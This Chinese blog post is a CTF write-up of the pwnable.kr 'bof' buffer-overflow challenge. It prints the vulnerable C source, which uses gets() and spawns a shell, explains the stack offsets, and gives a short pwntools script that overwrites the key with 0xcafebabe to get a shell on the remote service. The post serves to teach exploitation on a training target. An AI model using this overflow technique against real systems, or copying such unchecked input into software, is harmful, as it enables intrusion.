美文网首页PWN学习资料
PWN学习笔记(三)

PWN学习笔记(三)

作者: Sarace | 来源:发表于2019-06-19 22:14 被阅读0次

PWN学习笔记(三)

0x01

这次我们开始进行第三个题目:


截图_2019-06-19_20-26-11.png

下面就是bof.c的代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

从代码中我们可以看到这里使用了一个危险函数gets(),这里我们可以控制overflowme的内容来控制堆栈的内容,覆盖掉key的原本的内容,让key的值等于0xcafebabe。这样我们就可以轻松过关了。是不是很简单呢?

0x02

下面我们就来看一下程序的汇编代码:


截图_2019-06-19_21-40-30.png

通过上图,我们可以看到我们输入的变量保存在ebp-0x2c的地方,而我们的key则保存在ebp+0x8的地方,这里我们就需要了解一下这时的栈结构:

截图_2019-06-19_22-05-34.png

所以我们需要控制我们的输入,覆盖掉ebp+0x8的地方,这里我使用了pwntools来帮助我实现这段shellcode

from pwn import *
context.log_level = 'debug'
conn = remote('pwnable.kr',9000)
p = 'A'*52
p += p32(0xcafebabe)
conn.sendline(p)
conn.interactive()

我们需要从ebp-0x2c一直覆盖到ebp+8的地方,一共是56字节,但是最后4个字节是我们的key,所以我使用了52个A加上我们的目标字符串进行拼接。
运行上面的这段python代码,就可以获得flag了。
PS:pwntools是一个非常好用的pwn工具,希望大家能掌握它的使用。

相关文章

  • PWN学习笔记(三)

    PWN学习笔记(三) 0x01 这次我们开始进行第三个题目: 下面就是bof.c的代码: 从代码中我们可以看到这里...

  • PWN 学习笔记(四)

    PWN 学习笔记(四) 0x01 题目 先来看一下题目: 这次我们没有源代码了,只有一个可执行文件。 0x02 分...

  • pwn入门的一些学习资料

    总结记录一下pwn入门的一些学习资料 pwn入门学习的网站: CTF Wiki 必备技能: 汇编语言要搞pwn首先...

  • pwn学习资源(持续更新...)

    由于某种需要,开始接触二进制,做点笔记,以便查阅。 学习思路: 学习各种套路 写有漏洞的程序 -> pwn CTF...

  • 本节介绍

    本节主要系统的介绍Pwn中的比较系统的一些学习记录。 自我总结的学习路线 基础 进阶 提高 前置技能 学习Pwn ...

  • 开坑入PWN第一步

    开始开坑学习PWN了,老师希望我能学PWN,总结PWN题的规律日后好挖洞,于是一个妄想成为web手的菜狗转战大表哥...

  • 新手科普 | CTF PWN堆溢出总结

    新手科普 | CTF PWN堆溢出总结 pwn堆溢出基础 CTF pwn 中最通俗易懂的堆入坑指南CTF pwn ...

  • MCTF pwn

    pwn2 from pwn import * #p=process("./pwn2") p=remote("120...

  • 【pwn学习】buuctf pwn题目(一)

    test_you_nc 进去看main里面就是sh 所以nc就好 rip checksec一下发现是64位 看一下...

  • 【pwn学习】buuctf pwn题目(二)

    下班了继续做 level0 先checksec一下 很简单的道理就是vulner函数里面存在漏洞call到call...

网友评论

    本文标题:PWN学习笔记(三)

    本文链接:https://www.haomeiwen.com/subject/yvnlqctx.html